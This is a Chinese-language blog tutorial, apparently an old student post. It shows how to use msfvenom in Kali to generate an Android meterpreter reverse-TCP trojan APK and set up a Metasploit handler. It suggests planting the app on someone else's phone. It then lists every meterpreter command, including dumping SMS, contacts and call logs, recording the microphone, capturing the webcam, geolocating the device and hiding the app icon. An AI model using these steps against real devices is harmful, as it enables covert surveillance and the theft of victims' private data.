这篇文章还是在学校的时候写的,原来都这么久了啊,现在看起来一点技术含量都没有。。。


    网上都能找的到的教程,在这里我只是发出来做个保存+分享
    在kali中,步骤:
    输入命令:

    1. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=5555 R > /root/apk.apk

    (LHOST填写自己的kali的IP地址、LPORT填写通信端口,可以自己更改 、最后面的路径是生成出APP文件的路径以及文件名)
    然后启动msf:

    1. msfconsole

    然后输入命令:

    1. use exploit/multi/handler //加载模块
    2. set payload android/meterpreter/reverse_tcp //选择Payload
    3. show options //查看参数设置
    4. set LHOST 192.168.1.114 //这里的地址设置成我们刚才生成APP木马的IP地址
    5. set LPORT 5555 //这里的端口设置成刚才我们生成木马所监听的端口
    6. exploit //开始执行漏洞 开始监听,等待手机上线

    可以把生成出来的APP放入别人手机中,实验的话把需要的权限都开上吧,打开APP,其实是打不开的,点击一下APP就已经开始工作了。然后便可在kali中输入“?”查看到所有可以执行的命令。
    以下是全部命令

    1. 核心命令
    2. =============
    3. 命令 说明
    4. ------- -----------
    5. ? 帮助菜单
    6. background 当前会话
    7. bgkill 终止一个meterpreter脚本
    8. bglist 列出运行后台脚本
    9. bgrun 执行一个meterpreter脚本作为后台线程
    10. channel 显示信息或控制活动频道
    11. close 关闭频道
    12. disable_unicode_encoding 禁用unicode字符串的编码
    13. enable_unicode_encoding 启用unicode字符串的编码
    14. exit 终止meterpreter会话
    15. get_timeouts 获取当前会话超时值
    16. guid 获取会话GUID
    17. help 帮助菜单
    18. info 显示有关Post模块的信息
    19. irb 进入irb脚本模式
    20. load 加载一个或多个meterpreter扩展
    21. machine_id 获取连接到会话的计算机的MSF ID
    22. quit 终止meterpreter会话
    23. read 从频道读取数据
    24. resource 运行存储在文件中的命令
    25. run 执行meterpreter脚本或Post模块
    26. sessions 快速切换到另一个会话
    27. set_timeouts 设置当前会话超时值
    28. sleep 暴力静止Meterpreter会话,然后重新建立会话。
    29. transport 更改当前的传输机制
    30. use 不推荐使用“load”别名
    31. uuid 获取当前会话的UUID
    32. write 将数据写入通道
    33. Stdapi:文件系统命令
    34. ============================
    35. 命令 说明
    36. ------- -----------
    37. cat 将文件的内容读取到屏幕上
    38. cd 更改目录
    39. checksum 检索文件的校验和
    40. cp 将源复制到目标
    41. dir 列表文件(ls的别名)
    42. download 下载文件或目录
    43. edit 编辑文件
    44. getlwd 打印本地工作目录
    45. getwd 打印工作目录
    46. lcd 更改本地工作目录
    47. lls 列出本地文件
    48. lpwd 打印本地工作目录
    49. ls 列出文件
    50. mkdir 建立目录
    51. mv 将源移到目标
    52. pwd 打印工作目录
    53. rm 删除指定的文件
    54. rmdir 删除目录
    55. search 搜索文件
    56. upload 上传文件或目录
    57. Stdapi:网络命令
    58. ===========================
    59. 命令 说明
    60. ------- -----------
    61. ifconfig 显示界面
    62. ipconfig 显示界面
    63. portfwd 将本地端口转发到远程服务
    64. route 查看和修改路由表
    65. Stdapi:系统命令
    66. =======================
    67. 命令 说明
    68. ------- -----------
    69. execute 执行一个命令
    70. getuid 获取服务器正在运行的用户
    71. localtime 显示目标系统的本地日期和时间
    72. pgrep 按名称过滤进程
    73. ps 列出运行的进程
    74. shell 放入系统命令外壳
    75. sysinfo 获取有关远程系统的信息,例如OS
    76. Stdapi:用户界面命令
    77. ===============================
    78. 命令 说明
    79. ------- -----------
    80. screenshot 获取交互式桌面的屏幕截图
    81. Stdapi:网络摄像头命令
    82. =======================
    83. 命令 说明
    84. ------- -----------
    85. record_mic 从默认麦克风录制音频X
    86. webcam_chat 开始视频聊天
    87. webcam_list 列出网络摄像头
    88. webcam_snap 从指定的摄像头拍摄快照
    89. webcam_stream 从指定的摄像头播放视频流
    90. Android命令
    91. ================
    92. 命令 说明
    93. ------- -----------
    94. activity_start Uri字符串开始一个Android活动
    95. check_root 检查设备是否生根
    96. dump_calllog 获取通话记录
    97. dump_contacts 获取联系人列表
    98. dump_sms 获取短信
    99. geolocate 使用地理位置获取当前的经纬度
    100. hide_app_icon 隐藏启动器中的应用程序图标
    101. interval_collect 管理间隔收集功能
    102. send_sms 从目标会话发送短信
    103. set_audio_mode 设置振铃模式
    104. sqlite_query 从存储中查询SQLite数据库
    105. wakelock 启用/禁用Wakelock
    106. wlan_geolocate 使用WLAN信息获取当前经纬度